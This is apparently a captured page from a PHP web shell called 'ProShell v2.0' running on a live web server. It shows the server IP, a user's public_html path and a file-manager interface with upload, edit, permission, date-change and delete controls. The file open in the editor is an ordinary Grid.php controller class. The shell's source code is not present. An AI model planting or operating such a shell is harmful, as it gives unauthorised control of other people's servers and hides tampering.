ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
2026-09-16 09:59:30
Editing: Grid.php
Cancel
Save Changes
<?php /** * Class to make usage of Am_Grid even simpler * it must get grid configured in @link init() * method and then it will do the rest */ abstract class Am_Controller_Grid extends Am_Controller { /** @var Am_Grid_Editable */ protected $grid; protected $layout = 'admin/layout.phtml'; public function preDispatch() { $this->grid = $this->createGrid(); parent::preDispatch(); } abstract function createGrid(); public function indexAction() { if (is_null($this->layout)) { echo $this->grid->run(); } else { $this->grid->runWithLayout($this->layout); } } function renderTd($s, $escape = true) { return '<td>' . ($escape ? $this->escape($s) : $s) . '</td>' . PHP_EOL; } }
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete